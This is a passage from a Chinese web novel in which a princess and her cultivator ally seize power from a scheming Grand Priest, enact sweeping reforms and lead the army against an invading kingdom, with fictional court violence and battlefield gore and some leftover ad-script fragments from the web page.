摆在她面前的这一个选择,既有可能为古水国创造一个新的生机,也有可能让整个国家与她一起跌入万劫不复。 不过…… 她蓦地抬起手将绿蚁的手一把握住:“我能够接受接下来要走的那条路,但我不会是一个人,对么?” 你会陪我一起的吧。 毕竟一旦给古水国君下了咒,那咱俩可就是一条船上的人了。 剩下这半句话她在心里悄悄地念叨,没敢说出来让绿蚁听到。 绿蚁在感受到宫北乐掌心的温度时怔了一下,在听到她说的话之后又怔了一下。 过了好一会儿她才局促地将手抽回来,抬手撩了一下头发,然后又将手塞回了宽大的袖子里。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清了清嗓子,她回复道:“我会跟你一起。” 说完这句话她的身影逐渐开始变得朦胧,重新化为一抹青色的烟,然后在空中消散。 绿蚁离开之后,她布下的禁制也随之解除。宫北乐上前两步攀住囚牢中的栏杆,引得看守她的狱卒回头望了她两眼。 看来方才在禁制中发生的一切,禁制外的人果然都不知道。 宫北乐在心里感叹了一声神奇,然后乖乖地坐回石凳子上,开始等待绿蚁接下来的行动。 她所等待的那一刻比预想中来临得更快,当天晚上她便听到大牢外传来一阵骚动,紧接着便是刀光剑影一片混战。 混战结束后,樱儿在一群贴身侍卫的保护下来到她面前,从狱卒身上扒下钥匙,为她打开了囚笼的门。 这些侍卫都是跟随了她多年的近侍,此番能够带着樱儿闯入牢中救她,想必是绿蚁的咒已经起了作用,她那个倒霉父皇恐怕已躺在床上昏睡不起了。 “走吧。”她起身离开大牢,经过躺在地上的狱卒身边时轻轻丢下一句:“都杀了。” 狱中之人皆为大祭司的心腹,她不杀他们,他们便要杀她。 那些精心编造证据证明她有叛国之罪的卷宗,此刻还都在大祭司的手上呢。 离开牢狱的这一条路并不算长,宫北乐拾级而上,在打开大门见到久违的阳光时,她顿了顿步子,抬起袖子遮住了眼。 一旁的樱儿仰头看她,只觉得此时流转在公主眸中的光华比万丈阳光更加璀璨夺目。她攥紧袖子,跟上了公主的脚步。 离开大牢之后,宫北乐并没有去看望父皇,也不曾去找大祭司对峙。她低调地回到了自己宫中,紧闭大门沐浴焚香。 真正的恶战并不在此时,而在明日的朝会上。 明日早朝古水国君定然不能亲临,届时才是真正的群魔乱舞。 她将自己缩在浴桶里,注视着眼前的氤氲水汽,揣摩着大祭司的想法和他下一步可能会有的动作。 她闯出大牢回到宫中的消息大祭司肯定早已知晓,可他也同她一样选择了沉默,紧闭上自家府邸的大门,并没有急着前来与她对峙。 既然连大祭司都没有任何举动,宫中自然更没有其他人敢来问责她擅自离开牢狱之事。 何况樱儿来找她时,还带回了她的长公主令牌。 大祭司虽然已经整理好了证明她有罪的卷宗,但古水国君尚未来得及给她定罪便突然陷入昏迷。既然还没有定罪,那她就是无罪。 她望着房间里被雾气缭绕着的烛火,眸光渐渐变得幽深。 今夜下了一场大雨,屋外狂风大作,吹得屋檐底下的铃铛阵阵作响,窗户也发出不堪承受的吱呀声。 宫北乐在浴桶中转了个身,透过层层纱帘望向吱呀作响的窗户。忽听帘外传来樱儿清脆的声音:“公主莫怕,樱儿会一直陪着您的。” 宫北乐侧过脑袋,将目光移向跪在纱帘外的那个小小身影,半晌,扬起唇无声地笑了笑。 51. 桃花盏 殿外风雨大作,她却是一夜好眠。 次日清晨,她领着樱儿和一帮亲卫走过被大雨冲刷干净的宫道,前往举行早朝的大殿。 古水国君是在昨日傍晚突然陷入昏迷的,此事除了大祭司等少数人知道,其余大臣还没有得到消息。 因此今晨他们照例上朝,在见到比平时多了一倍不止的侍卫时纷纷吃了一惊。 有些反应比较敏锐的已经在心中猜到,恐怕是陛下出了什么意外,今日宫中必要发生一场大变故了。 此刻大殿最中央的龙椅上空无一人,而在龙椅下方的台阶处则围了一圈侍卫,大祭司便立在这一圈侍卫的中间,将双手背在身后,佝偻着腰注视着前来上朝的大臣们。 有人看见这一幕率先发出质疑:“大祭司,你怎可让自己府邸的带刀侍卫进入殿中?这是要对陛下不敬吗?” 大祭司被人如此质问却也没有发怒,他仍旧眯着眼睛观察着鱼贯而入的大臣们,等人都到齐后,他呵呵一笑,挥了挥手,大殿的门便被人用力关上。 大门这一关隔绝了外界的阳光,殿上只剩下了摇摇晃晃的烛火之光,瞬间变得昏暗起来。 “你不必这样旁敲侧击试探陛下情况,今日早朝我原本便是来告知诸位臣工这一噩耗的。”说到噩耗两个字他特意加重了语气,甚至抹抹眼睛掉下两滴泪来:“陛下在昨日突然陷入昏迷,直到现在也没有醒转,因事态紧急且事关重大,昨夜老夫封锁了消息,只待今日早朝告知诸位。” 此言一发犹如巨石掀起千层浪,底下的大臣们瞬间炸开了锅。 有人操心朝政之事接下来该交托谁手,也有人担心陛下是被人所害要求严查,但更多的声音是在赞颂大祭司遇事果决,处理得宜,不愧为三朝老臣。 在这样一股声音的引导下,大家讨论的方向逐渐演变为了对大祭祀过往功绩的歌颂,很快便有人顺应着这股潮流,大声说道:“既然如此,陛下也不知何时才能醒转,还望大祭司在陛下昏迷期间主持朝政。” 此人的提议仿佛一锤定音,半数大臣开始附和着他对大祭司作揖行礼,齐声道:“望大祭司主持朝政。” 大祭司自然对眼前的局面感到满意,他拍了拍掌,示意众人安静,咳咳嗓子里的痰正欲发言,却听见大臣里有人发出不同的声音:“陛下突然昏迷,大祭司封锁消息不让别国那么快知晓也就罢了,为何连我们这些臣子都要隐瞒?陛下为何昏迷,医官们是何说法,大祭司为何避而不谈?” 大祭司在人群中捕捉到那位提出质疑的臣子,冲着他意味不明地笑了笑,缓缓道:“封锁消息自然是为了不让此事泄露,谁知道你们当中有没有与敌国勾结之人?至于陛下昏迷的原因,医官们现在还没有头绪,自然也无法告知陛下何时能够醒转。连医官们都无法确定的事情,老夫当然不能随意乱说。” 回复完那人的质疑,他立马切入正题:“国不可一日无君,我们的当务之急是要选出一位能够主持朝政的人。方才诸位大臣的议论老夫都听在耳里,也心里有数。承蒙各位对老夫的信任,既然陛下如今仍在昏迷,那么在他昏迷期间,国内一应事务便暂由老夫管理。” 他原本以为一切都在自己的掌控之中,不料刚刚说完,便有人大声喊了一句反对:“陛下陷入昏迷之事尚未进行调查,由谁主持朝政也并未进行表决,怎可听你一人之言便做下决定?” 紧接着又有人道:“在陛下的子嗣当中,长公主颇有才能,陛下也对其颇为器重。以往陛下不能亲自上朝或不在国都之时,皆由长公主代为理政。如今长公主尚在,即便要选一人暂时管理朝政,也该是长公主而非大祭司。大祭司如此急于上位,难道不是越俎代庖?” 大祭司沉默地听着这些人的发言,微微眯着的眼睛里时不时流露出一丝掩不住的杀意。 很好,宫北乐一党终于自己浮出了水面。 虽则此前她被打入了大牢,有关她叛国的罪行也在他的运作下传得沸沸扬扬,但她毕竟是古水国君唯一的嫡女,又是身份贵重的长公主,代表皇室行了十年的祭祀之礼,手中也握有实权,因此朝中依然有不少她的拥蹩。 今日他要解决的,正是这一群挡了他路的绊脚石。 他微微侧首示意,府中亲卫便迅速分散开,将一众大臣团团包围起来。 “大祭司,你这是做什么?难道还要杀了我们……”有人见状当即提出抗议,可是话还没有说完,侍卫的刀就架在了他的脖子上。 唯有绝对的实力才能让反对的人闭嘴,大祭司十分信奉这一点,在那人被迫安静下来之后,他满意地冲他点了点头。 “宫北乐早已被陛下剥夺封号打入大牢,老夫经过这段时间的调查,曾书写一份证明其叛国行径的卷宗,并在日前向陛下呈上。其叛国罪行证据确凿,只待陛下发落。”说着,大祭司自袖中取出那份卷宗,在众人面前徐徐展开,“可就在这之后不久,陛下便突然陷入了昏迷,而就在陛下昏迷当天,宫北乐的亲兵杀死狱卒闯入狱中将她救了出来。” 说到这里他停顿了片刻,意味深长地道:“如此看来,陛下的昏迷恐怕也与她脱不了干系,这样一个叛国弑父的罪人,如何还能执掌古水国大权?” 话音落地,大殿内一片寂静,所有人都闭上了嘴巴各怀心思。 在这样静到极致的环境中,绿蚁的一声嗤笑便显得格外突出。 大祭司转头望向她,同样笑了一声,只不过是皮笑肉不笑。他颇带威胁意味地道:“绿蚁大人,你这是在笑什么?可是对老夫所言有异议?” “当然有异议。”绿蚁双手抱臂,很是挑衅地直视着大祭司:“你这卷宗早已写好呈给陛下,他却迟迟没有给公主定罪,不仅没有定罪,他还亲自前往狱中与公主密谈,结果当天回去就突然昏迷,这说明什么?” 大祭司沉默着没有接她的话,底下众人已开始窃窃私语。 “这说明公主根本就没有那些莫须有的罪名 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,且很明显陛下的突然昏迷与你大祭司脱不了干系。”绿蚁摊了摊手,“现在就凭你一家之言,再加上你手中的这一个破卷宗,就要让古水国跟着你姓了是吗?” 她这番话说得很有煽动性,一些忠君爱国的大臣很受鼓动,立马跟着绿蚁扬声质问。 大祭司冷哼一声,朝他的亲卫和其余三个护国修士使了使眼色,正欲开口说话,却见大门被人一脚踹开。 门被踹开的一瞬间,被拦在外面的阳光倾泻而入,将整个大殿照得亮堂,每个人丰富的表情都在阳光下一览无遗。 宫北乐率领一众亲卫逆着光站在大殿门口,气势汹汹地指着大祭司的鼻子就骂:“本宫有什么叛国行径?你好歹也是个大祭司,便这般胡乱给本宫安一个罪名,可真是青天白日嘴皮一翻哪管洪水滔天。” 宫北乐会来这里本就在大祭司的预料当中,但她这一顿骂就完全在他的意料之外了。 不仅仅在他的意料之外,长公主的这一番好骂同样也令在场的其他大臣始料未及。 他们何曾见到宫北乐对人口出骂言过?还骂得如此犀利?于是他们和大祭司一样呆呆地扭头望着大殿正门的方向,好半天都没有反应过来发生了什么。 便连绿蚁也被她这架势惊得愣了一愣。 这骂得可真是太有水平了,她默默地将宫北乐方才骂人的话在心里记忆了好几遍,留着以后备用。 正因为骂得很有水平,所以大祭司反应过来那番话骂的是他自己后,他肉眼可见地涨红了脸:“你故意耽误祭祀的吉时,还损毁祭祀之物,这桩桩件件不是你自己所为?人证物证俱在,老夫何曾冤枉了你?” “本宫无意与你争辩,也无意自证自己所为。难道本宫做什么决策,还要向你大祭司请示么?”宫北乐斜睨他一眼,举着古水国君赐予她的公主令,迈步走进殿中,“父皇突然昏迷,本宫暂代朝政名正言顺,谁有意见?” “你……你怎可如此专横霸道?今次变故不同以往,哪有将国家大事全都交给一个女子的道理?”大祭司自然第一个跳出来反对,不过这次他提出来的理由不再是尚无定论的叛国之罪,而是一个更加常见也更易令众人与他产生共鸣的理由。 女子不得干政。 偶尔许她监国理政之权已是古水国君在无子嗣可继承皇位的情况下所做的极大让步,怎可一让再让,在国家存亡之际将权力交到一个女子手里? 果然,绝大多数人与大祭司持同样的意见,他们交头接耳嗡嗡议论着,所讨论的无非便是她乃一介女子,倘若国君永远不能醒来,大权不就彻底落入了一个女子手里? 在不允许女子进入朝堂获得权力这方面,他们从古至今都是一样的团结。 “本宫原本也是想同你讲讲道理的。”宫北乐无视众人的议论,在一道道目光的注视下走向龙椅。她不曾停下脚步,只在经过大祭司身边时微微侧首,深深地看了他一眼:“可是你好像并不是很喜欢听道理。” 52. 桃花盏 “没有陛下的旨意,也无众臣的表决,你胆敢坐上龙椅,那就是谋权篡位!”大祭司这时候倒开始维护起秩序来了,将方才别人反对他的话如法炮制了一遍:“你不可……” 可惜他话还没有说完,绿蚁烦闷地说了一句聒噪,下一秒便飞身掠至他的面前,抬手掐住了他的脖颈。 原以为绿蚁只是吓唬吓唬他,不敢真的用力,却没想到她一上来就掐得他仰起脖子直翻白眼。 两人此时的距离很近,因此虽然他已经被掐得马上就要失去意识,却还是能在恍惚之中瞧见她眼中的腾腾杀气。 她是真的杀过人,并且此刻是真的打算杀了自己。 意识到这一点,他瞬间就泄了气,身子立马软了一半。 强撑着保留住最后一丝清醒的意识,他用尽全身力气将手颤颤巍巍地抬到半空中,想求绿蚁饶他一命。 站在不远处的宫北乐静静地注视着这一幕,直到大祭司彻底将白眼翻了过去,双手从空中无力地垂下,她才轻轻地唤了一声绿蚁。 绿蚁听到宫北乐的声音,回头与她对视了一眼,甩手将大祭司扔到了地上。 宫北乐垂首对樱儿小声道:“去看看他死了没有。” 樱儿点点头,走过去蹲下身子探他鼻息,半晌起身回道:“暂时死不了,还有气。” 宫北乐哦了一声,命人将大祭司抬回他自己的府邸。 望着他如一滩肉泥般被人抬走的身影,她唉的一声叹了口气:“虽然大祭司不是个讲道理的人,可是本宫不能不讲道理。派两个医官去救治他吧,等他醒了之后再押入大牢,本宫要亲自审问他。” 说着,她将目光从远处收回来,扫视了一眼底下瑟瑟发抖的大臣们,“大祭司虽为三朝老臣,可他给本宫捏造莫须有的罪名,隐瞒父皇陷入昏迷的消息,并以此胁迫群臣妄图谋权篡位,其居心令人怀疑,不得不查。” 大臣们何曾在朝堂上见过这等场面,一个个如鹌鹑般缩起了脑袋,自动散开与绿蚁保持安全距离。 大祭司的亲卫和其余三个护国修士虽然都在场,却面面相觑不敢吭声。 毕竟绿蚁的实力在她一开始与那三个护国修士比试时,大家便已知晓。 过了一会儿,还是有人鼓起勇气哆哆嗦嗦地举了举手:“绿……绿蚁大人,你的身份可是古水国的……的护国修士。”咽了口唾沫,他继续鼓起勇气:“你……你可不独独是庆安公主一个人的修士。” 绿蚁冷哼一声,双手抱臂站在原地,连看都没有看那人一眼。 她的声音比她的面色还冷,语气里还残留着没有退去的杀意:“我是为了庆安公主留下来的,若你们不惹是生非,那我便是守卫古水国的修士。若你们对她有二心,那我便是她一个人的修士。你们可以有意见,但是闭上嘴别让我听到。” 那人闻言猛地将嘴闭上,似乎觉得这样还不够安全,又赶紧抬起手紧紧捂住了嘴。 朝堂上再无一人敢提出反对意见,宫北乐大大方方地在龙椅上坐下,微微垂下眼帘俯视着一众噤若寒蝉的大臣们。 很好,她要的就是这个效果。 接下来在她执政期间,所有人听从她一个人的指令办事即可。 现在的古水国不需要出现第二个声音。 次日一早,她便雷厉风行地颁发了上位以来的第一道法令。 这道法令的颁发无疑给朝中官吏还有宫中权贵带来了巨大打击。 法令的第一条便是整肃吏治,要求官吏廉洁奉公,不得拖延公务。 官员若是胆敢贪污受贿,不仅会丢了脑袋上的乌纱帽,还会有牢狱之灾,严重的甚至可能牵连九族。倘若是在此道法令颁布之前受贿的,限令三日内将赃款全部上缴,如若隐瞒不报,等待后续查实则会依令处罚。 除此之外,她还裁减了官吏的从属人员。 从前使了银子或是托了关系才能够吃皇粮的人几乎都被裁减,朝中官员瞬间少了一小半,朝廷也由此省下了一大笔银两。 法令的第二条便是针对那些权贵的。 首先加重贵族的赋税,不再允许其豢养护府亲卫;其次禁止贵族和官吏雇请佣人,节省府中开支,一应事务他们必须亲历亲为。在法令颁布之前豢养的亲卫和雇请的佣人,需在三日之内遣散完毕,届时未遣散完毕的将会加倍处罚。 但是最令贵族无法接受的还不是这两点,法令还要求贵族子弟除嫡长子外必须服徭役或兵役,服役后与平民子弟一视同仁,不得因贵族身份而免除服役或区别对待。这才是最令他们愤怒的一点,从前身为贵族所拥有的特权,一朝之间便被这法令夺去。 此外,她还禁止军队豢养歌姬舞妓;禁止军队内部市场私自运送粮食,运送粮食的车辆全部都由朝廷进行监管,严格规范;禁止商人私自向军队贩卖兵器铠甲,军队的所有兵器铠甲均由朝廷提供,违者以走私论处。 最后还加重了交通要道市集的赋税,加重了商人行商的赋税,严令禁止百姓经营旅店客舍,唯一的经营权只归朝廷所有。 这些法令一出,立即便在官员和贵族中引起轩然大波。 那些曾在朝堂上见识过宫北乐的魄力和绿蚁实力的大臣们自然不敢造次,大祭司的前车之鉴尚在眼前,他们虽然心中不平但还是只能乖乖依照法令行事。 而那些自诩与皇室有着血脉关系或者自认祖上有着显赫功绩的贵族们就不一样了,他们还没有见识过宫北乐的行事作风,在法令颁布的当天很有勇气地踏进皇宫找上门来,想要找宫北乐讨一个说法。 可惜说法没有讨到,连宫北乐的人都没有见到,他们就被守在书房门口的绿蚁毫不留情地扔了出去。 “这次你们是被完完整整地扔出去,下一次我就不能保证你们被扔出去时是不是完整的了。”她阴沉着脸放下狠话,一个眼神就吓得那些贵族屁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 滚尿流逃出宫去。 其实若要比骨气,他们当中的绝大多数还不如那些大臣。 无论如何,法令铁打不动地颁发了下去,虽有一定阻力,却还是在宫北乐的坚持下严格地执行着。 便在法令执行之后的第三天,公主殿迎来了第一波杀手的袭击。 第一波杀手的实力并不太强,绿蚁没有出手,公主的一众亲卫便把他们解决了。 可是之后连续两天又出现了两批不同的杀手,其中一人还是个修为不浅的修士,若非绿蚁一直守在公主殿不曾离开半步,恐怕就让他打伤了所有的侍卫闯进了殿中。 “公主,这太危险了。”樱儿这段时间也始终跟在宫北乐身边,寸步不离地守着她。即便如此,她还是很为宫北乐担心。 公主所颁发的法令对官吏和贵族的冲击实在太大,现在整个古水国中不知有多少人想要取宫北乐的性命。 便连绿蚁也道:“那天听你跟你父皇的对话我便知道,你肯定早已有了解决古水国现状的方法,只是缺少一个施展的机会而已。但我没有想到你竟然这么疯。”她认真地注视着不为刺客所动,还在连夜挑灯批奏折的少女:“你就不怕死么?” 宫北乐停下手上的动作,揉揉眼睛回望着绿蚁,冲她灿烂一笑:“当然怕啦,应该没有人是不怕死的吧。”放松了这么一刻,她继续将自己埋进了成山的奏折里:“但是,这个能够施展我心中一切想法的机会是你给我的,我无论如何也不能辜负。” 绿蚁怔了一下,冰山般的面容渐渐融化,嘴角扬起一抹不易令人察觉的笑。 “你既然这样说,那我也不能辜负你的信任。”她一字一句地对宫北乐道:“这些不知好歹敢来闯宫的人,来一个我杀一个,来两个我杀一双。” 宫北乐没有抬头,却是对着奏折扑哧一笑。 绿蚁挑眉:“我说的话很好笑么?”顿了顿,她补充道:“你总是笑。” 宫北乐摇摇脑袋对她解释:“是跟你在一起说话总想笑,而不是你说的话很好笑。” 绿蚁尝试理解,理解了半天还是觉得疑惑。 她说的这不是一个意思吗? 却听宫北乐继续道:“接下来一段时间还要继续辛苦你啦,想要杀我的人只会更多不会变少。” 樱儿站在旁边抽了抽额角,脸上的担忧之色又加重了几分。 宫北乐的声音听起来却是云淡风轻,不知是真的那么信任绿蚁,还是早已下定了为变法而牺牲的决心:“我现在所颁发的只是预案而已,三个月后施行的才是真正的法案。我曾对父皇说过,眼前古水国的局面值得壮士断腕,其实他的为难和犹豫,我全都理解。” 说完这番话之后她陷入了长久的沉默,抬首望向窗外黝黑的夜色,不知在想些什么。 过了许久,她才开口一字一句地道:“正因为理解,所以这条路我必须要走下去,不惜一切代价。” 53. 桃花盏 三个月后,宫北乐顶着高压颁布了第二条法令。 所有人都看得出来,这条法令是三个月前预案的延续,宫北乐早已做好充足的准备,无论朝野上下的反对声有多大,她都不会停下变法的步伐。 法令的第一点依然是冲着贵族来的。 继要求贵族子弟除嫡长子外必须服徭役或兵役后,她这回直接取消了贵族世袭制度,并加大了军功奖励。从此以后哪怕是贵族子弟,想要获得爵位,也只得同平民一样在战场上奋勇杀敌建功立业,再不能像从前那般受到祖上荫蔽,游手好闲就能加官进爵。 并且,以往君主管理领土的方式是进行分封,将国土一级一级地分封给皇室旁支,这些皇室旁支往往便是自家封地上的土皇帝,拥有极大的权力。时间一久,哪怕是国君想要插手封地的管理事务,也往往力不从心。 可是宫北乐不同于以往的任何一任君主,她雷厉风行铁拳铁腕。 所颁发法令的第二点,便是要求这些领主向朝廷归还各自所属封地,自此以后他们不再拥有领土的管理权,而是由朝廷直接派出官吏,按照区域划分土地进行集中管理。 此外,古水国虽然常年饱受战乱之苦,城池土地接连丧失他国,但在国内尚有许多荒地无主,一直无人开垦。因此她鼓励百姓开垦荒地,并承诺百姓开垦出的荒地可归他们个人所有,允许土地自由买卖。 最关键的是,她还随之下发了一条规定,每一乡中生产粮食和布帛最多的人,可免除本人的劳役和赋税。这便大大加强了百姓们垦荒种粮的积极性,国内因战争而产生的饥荒得到了缓解。 这道法令一经颁发,国内贵族自然是叫苦连天,但是古水国的农业和军事却焕发出了前所未有的生机。 朝廷奖励耕织,徭役和赋税均根据生产粮食布帛的多少为标准,再加上百姓开垦荒地均为个人私有,这些举措都大大促进了古水国农业的发展。 此外奖励军功,一应赏赐均以在前线取得敌军首级多少来计算,并且平民百姓也拥有了通过军功封爵改变命运的渠道,这就大大激发了他们在前线厮杀的斗志。 几乎是在一夜之间,古水国的军队就彻底变了一个样。从前散漫怠惰的队伍,自发开始没日没夜地训练。 宫北乐所颁发的这一道法令,如同一道药效生猛的药剂,令古水国的军队由待宰的羔羊变为了虎狼之师。 古水国内细作不少,这一次变法动静太大,远在另一边的云黎国自然也得到了消息。 不知是忌惮于古水国的变革,要将它的崛起扼杀在摇篮之中,还是根本就不屑于这样一个垂死之国的挣扎,打算速战速决将它拿下。总之,他们加强了对古水国的攻势。 由云黎国太子亲自率领的铁骑破天军气势如虹,三日之内连破三城,一口气打到了离京郊不远的红山脚下。 消息传到古水国宫中来的时候,宫北乐正在埋头书写第三道法令。 听到消息后她抬起头来,面色有些疲惫,却是波澜不惊。 似乎早已料到会有这一天,抑或是她一直都在等待着这一天,当这一日终于来临时,她只是深深地吸了一口气,然后站起身来,按照脑海中演练了无数次的方案,开始亲自布置京城的防御。 她收到消息的时候是午夜时分,等到布置完京城的所有防御工作,天已经微微亮了。 守卫京都的十万王师已被她连夜调往前线,与此同时还有一支离京都最近的军队正在往红山的方向赶。 她换上三个月前命人制作的铁甲战衣,登上前往战场的戎车,最后回首望了一眼自己居住了十八年的皇城。 便在这时,绿蚁赶在她出发之前拦下了她。 “你疯了?”绿蚁的语气难得如此严肃,她死死地盯着一身戎装的宫北乐:“养尊处优了十八年,肩不能扛手不能提,你打算到前线去送死?” 宫北乐被冰冷的铁衣包裹着,整个人显出一丝肃杀之气,远没有着宫装时的她那般乖巧柔软。她认真地对绿蚁道:“我不是去送死的。绿蚁,此役非同一般,我要坐镇军中,同前线的将士们一起。” 绿蚁皱起眉头正要反驳,却听宫北乐坚持道:“这一战我们未必就会输,但若是天不遂愿,我们此战败了,那么古水国将失去最后一道防线。绿蚁,你是知道我的,我不愿苟且偷生。这些年我其实一直在为这一天的到来做着心理准备,若是红山之战败了,我将在前线以死殉国。我此志已定,你不必再劝。” 语毕,她用力握住绿蚁的手:“我去前线,京中百姓的安危就托付给你了。” 朝阳缓缓升起,耀眼夺目的光芒洒在了大地上,轻盈地攀上宫北乐身上的铁甲,温柔抚摸着她的脸庞。 她在阳光中对着绿蚁微笑:“这么多的人,能让我无条件信任的,便只有你了。” 绿蚁自然是还想阻止她的,可她也深知宫北乐的个性,眼前这个姑娘有着不符合她柔软外表的倔强,一旦下定了决心,天王老子来了也无法令她改变。 绿蚁皱着眉头望着她,好像要将她的模样深深地刻进脑海里。片刻之后,她移开目光淡淡地道:“我知道了,答应你的事情我会做到,你走吧。” 宫北乐松开绿蚁的手回到戎车上,望着身后的京城和立在队伍后面的绿蚁,她的目光中流露出深深的不舍之意,可是即便如此,她通知队伍即刻出发的命令却也没有一丝迟疑。 随着队伍的前进,京城和绿蚁的身影渐渐离她越来越远,直到两人的目光再也注视不到彼此,绿蚁也没有转过头来再看宫北乐一眼。 宫北乐收回遥望京城的目光,转身眺望远方的战场。 她了解绿蚁便如同绿蚁了解她,所以她知道,绿蚁的内心远比她冰山般的外表柔软。 宫北乐甚至在心里猜想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,离别的时候绿蚁不敢看她,不会是多看一眼就要掉眼泪吧。 越想越觉得很有可能,她决定在得胜归来的时候追着她问一问,绿蚁如此嘴硬心软说不定会被她追问得落荒而逃。 京城的富贵安乐越来越远,战场的硝烟弥漫越来越近。宫北乐的眸光逐渐变得冷冽,因想起绿蚁而扬起的唇角也缓缓放下。 战争从来都是无情的,她方才所设想的一切,都基于这一场战斗能够取得胜利,他们能够活着归来。 红山脚下,太平镇前,两军对垒。 从来便居于弱势的古水国军队此次在气势上竟然并不输给云黎国临越亲自率领的破天军,在古水国如今的实际执政者庆安公主亲临军中后,古水国军队的士气在这一刻达到了巅峰。 军中士兵绝大多数都是平民百姓,他们是变法政策最大的受益者,此刻能够亲眼见到这位颁布法令进行改革的决策人,每个人都心潮澎湃。 宫北乐与他们一样,着一身铁甲战衣,从前挽着各式宫髻的长发此刻在脑后高高束起。 她自戎车上走下,骑上高大的战马,握紧缰绳在军中游走,微微垂首,回应着一道道望向她的炽热目光。 在众人的注视下,她骑在马背上,沐浴着阳光,响亮地道: “各位将士,你们是守卫京都的王师,是古水国的最后一道防线。” “我知道,从前的你们并非自愿来到战场上。以前你们是为了饱食终日的贵族而战,是为了欺压你们的官吏而战,是为了一个看不见的宏大的国家理念而战。我很理解,你们绝大多数人并不情愿。” “可是现在,你每杀掉一个人,就可以为家中的亲人换一口粮食,你每砍掉一颗头,就可以让它成为一道封爵的阶梯,你们每让敌军后退一步,就会让家中的老小多一分安稳。他们现在就在你们身后的太平镇中,在你们身后的红山脚下,在你们的京城家中,在开垦荒地种粮织布。你们回家就可以看到,每一个人都在带着对明天的希望好好生活。” “但若是今天你们在这里败了,他们每一个人都无法看到希望中的明天。” “所以现在,你们不再是为了别人而战。你们为了家中的妻儿而战,为了养育你们的父母而战,为了你们的家而战,为了你们自己而战!” “你们敢不敢战!为了家人,为了自己,杀光眼前的敌人,让他们再也不敢踏足我们的土地!” 宫北乐的声音极具感染力,并且她所说的每一句话都不是空口承诺。 每杀掉一个人便可以多换取一些银两或粮食,每取一个首级便是在为加官进爵铺路,这些都是她白纸黑字写在法令上颁发下来的。 他们的确是在为了自己,以及自己的国土而战。 “杀!” “杀!” “杀!” 号角尚未起,战场之上,杀声已震天。 54. 桃花盏 临越自十五岁起便在沙场历练,这十年来他在各种各样的战场上出生入死,碰到过纪律森严的军队,也碰到过实力强悍的精兵,自诩见识过不少场面,却从来没有遇见过任何一个军队是像今日这般不要命的打法。 古水国的士兵们在战场上杀红了眼,每一个人都不要命地往前冲,就好像身后有一道万丈深渊,正在追着他们不断地前进、前进,不要命地前进。 临越的破天军虽然训练有素,装备也比古水国的军队更加精良,可是面对这样一支似乎已经陷入疯狂状态的敌军,他们仍旧有些招架不住。 临越立在戎车之上,目光沉静地注视着竟被逼得一点一点往后退的破天军,冷声发出一道军令:“上破云弩。” 破云弩乃云黎国最新研制出来的强攻型弩箭,射出一支箭所带来的冲击力足以击穿一块两寸厚的木板。 将这样的武器用在平原的战场上,委实是有些残忍的。 若非他们这般负隅顽抗,临越原也不打算使用破云弩。 四架破云弩迅速被带到了战场上,每四人控制一架弩身,装上特制的箭,朝冲在最前方的敌军射去。 这弩箭的威力果然非比寻常,尽管敌军举起盾牌格挡,却还是不敌破云弩所带来的巨大冲击力。 有些人的盾牌被弩箭刺穿,还有些人的盾牌从手中击飞,失去了保护的他们只能以肉身承受弩箭的攻击。 然而,令人骇然的是,即便如此他们也不曾退却,前面的人一旦倒下,后面的人便立马补上。 他们踩着同伴的尸体前进,也并不惧怕下一秒被踩在脚下的也许就是他们自己。 更有甚者身中好几箭仍不倒下,他们拖着残肢断臂,顶着箭雨的攻击踉跄前进,以自己的血肉之躯作为盾牌,为身后的同伴撑起一道屏障。 太恐怖了。 这好像是一支非人的军队。 破天军第一次在战场上感受到感受到战争的残酷,感受到直观的恐惧。 那是一种看到自己的同类在战争当中依靠莫名的毅力变得非人的恐惧。 第一批冲到破云弩跟前的敌军发了狂地争夺着武器,他们当中有的人甚至将控制弩箭的人一把抓下,砍了他的手足后一口咬下他的耳朵。 牙齿也是他们的武器,他们撕咬着敌人的四肢,食其肉啖其血。 第二架破云弩被攻下,临越迅速做出判断,下令军队暂时撤退。 这一场战斗已经彻底激发出了敌军的血性,他们越战越勇,而己方士气明显不足,继续打下去恐要吃亏。 见到云黎国撤军,古水国也下令撤退,并未继续追击。 对于古水国而言,今日这一战虽未彻底击退敌军,但也是近几年来唯一一场没有被敌军击溃的战斗。 他们守住了脚下的土地,这便是胜利。 军中营帐内,宫北乐彻夜未眠。 她命人随时向她禀报军中伤亡情况,同时与领兵大将分析临越明日的战法,推测他可能会如何进攻,而他们现有的兵力能否抵挡得住。 却没有想到,他们商讨了一宿,在天蒙蒙亮时,云黎国派出使者来到古水国的军中,邀请宫北乐去往临越帐中一见。 “公主不可!”军中将士纷纷劝阻:“临越此人阴险狡诈、智多近妖,昨日一战他们也损失惨重,您去往他的麾中实在太危险了。” 宫北乐思索了一下,倒也没有立即答复,而是令云黎使者稍等片刻。 那云黎使者点了点头,转述着临越交代的话:“殿下说了,公主有一刻钟的时间可以考虑,一刻钟之后,如果您不前往殿下帐中议和,我们将会继续出兵。” 古水国军师听完冷哼一声:“那就更不能去了,云黎恨不得立马将我们兼并,临越又是个穷兵黩武之人,他怎么可能与我们议和,这定然是一个幌子。公主,您若去了,只怕是危险。” 其余将士纷纷附和,皆是一样的观点。 宫北乐沉默地听着他们讨论,没有犹豫太久,片刻之后便做下决定,对云黎使者道:“带我去见你们太子吧。” 云黎使者点了点头,做了一个请的姿势,还不忘提醒一句:“您可以带三个亲卫一同前往。” 宫北乐迈步向前:“不了,我一个人去便是。” 其余人见状大惊失色,纷纷上前阻拦:“公主您身份贵重,怎么能孤身进入敌营。即便您决定去见临越,也至少要带上几个亲卫呀。” “我既已决定入敌营,便不再有什么顾虑。倘若临越要杀我,我便是带十个二十个亲卫去也没有用。”宫北乐的声音很平静,闻之也令人感到安心:“你们不必担心,若是我能与他谈和,就能够避免更多将士的牺牲。为了这个,承担再大的风险也是值得的。” 语罢,她没有回头,径直往敌营而去。 使者将宫北乐带到临越帐中去的时候,他正在与人对弈烹茶。 